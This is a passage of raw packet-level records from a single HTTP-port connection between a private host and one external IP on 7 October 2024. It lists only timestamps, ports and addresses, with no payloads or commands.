Oct 7, 2024 18:03:25.825016022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825020075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825032949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825042963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825072050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825072050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825403929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825421095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825462103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825462103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825536966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825547934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825558901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825594902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825594902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825757027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825773954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825784922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825794935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825804949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825808048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825808048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825814962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825825930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825835943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825846910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.825861931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.825861931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826409101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826420069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826430082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826438904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826448917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826452017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826452017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826461077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826471090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826481104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826486111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826486111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826493025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826503992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826514006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826524019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826534033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826544046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826549053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826549053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826555967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.826579094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.826596975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827425957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827438116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827446938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827457905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827466011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827474117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827476978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827490091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827500105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827508926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827518940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827518940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827519894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827532053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827542067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827553034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827554941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827554941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827564001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827578068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827589989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827600956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.827613115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.827613115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.828063011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.828236103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.828248024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.828258038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.828269005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.828310013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.828310013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.846513987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.846560955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.846586943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.846690893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.886970997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.886989117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887001991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887029886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.887098074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.887157917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887213945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.887439013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887562037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887572050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.887600899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.887600899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.948951960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.948986053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.948996067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949032068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949032068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949167013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949178934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949189901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949229002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949229002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949378967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949389935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949400902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949439049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949439049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949527025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949537992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949548006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949558020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949568033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949577093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949594975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949594975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949826002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949862957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949872971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949883938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949893951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949903965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949904919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949913979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.949947119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.949948072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950220108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950231075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950304985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950314999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950325012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950392008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950495958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950512886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950522900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950532913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950542927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950555086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950555086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950851917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.950937033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950948000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950957060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950967073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950977087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950985909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.950995922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951004982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951014996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951019049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.951019049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.951024055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951035976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951046944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.951066971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.951066971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.951086998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952169895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952183008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952228069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952692986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952703953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952713966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952733994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952825069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952841043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952856064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952867031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952869892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952869892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952876091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952888966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952899933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952909946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952919960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952920914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952920914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952930927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952941895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952950001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952951908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952964067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952972889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952982903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.952991009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952991009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.952992916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.953006029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.953016996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.953027010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.953033924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.953033924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.953424931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.999643087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.999671936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.999680042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.999721050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.011954069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012015104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.012041092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012053013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012212992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012393951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012403965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.012442112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.012442112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.073674917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073750973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.073769093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073822975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073857069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073889971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073895931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.073895931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.073924065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.073944092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074012995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074060917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074060917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074079037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074115992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074167013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074229956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074279070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074311972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074326992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074326992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074347973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074379921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074388981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074388981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074640036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074671984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074703932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074717999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074718952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074736118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074747086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074841976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074873924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074903965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074912071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074912071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074932098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074965000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.074965954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.074965954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075125933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075148106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075180054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075212002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075220108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075220108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075242996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075274944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075285912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075306892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075337887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075346947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075346947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075371027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075397968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075429916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075462103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075465918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075465918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075525999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075833082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075865984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075897932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075927973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075949907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075951099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075961113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075993061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.075998068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.075998068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076026917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076041937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076061010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076072931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076093912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076124907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076132059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076132059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076158047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076196909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076196909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076653957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076683044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076704979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076730967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076762915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076772928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076772928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076792002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076822996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076849937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076854944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076888084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076889992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076889992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076920033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076950073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.076972961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.076981068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077013016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077018023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077018023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077043056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077078104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077081919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077081919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077380896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077413082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077420950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077445984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077452898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077452898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077478886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077512026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077516079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077516079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077541113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077574968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077574968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077836037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077867985 CEST	80	49711	185.215.113.37	192.168.2.12
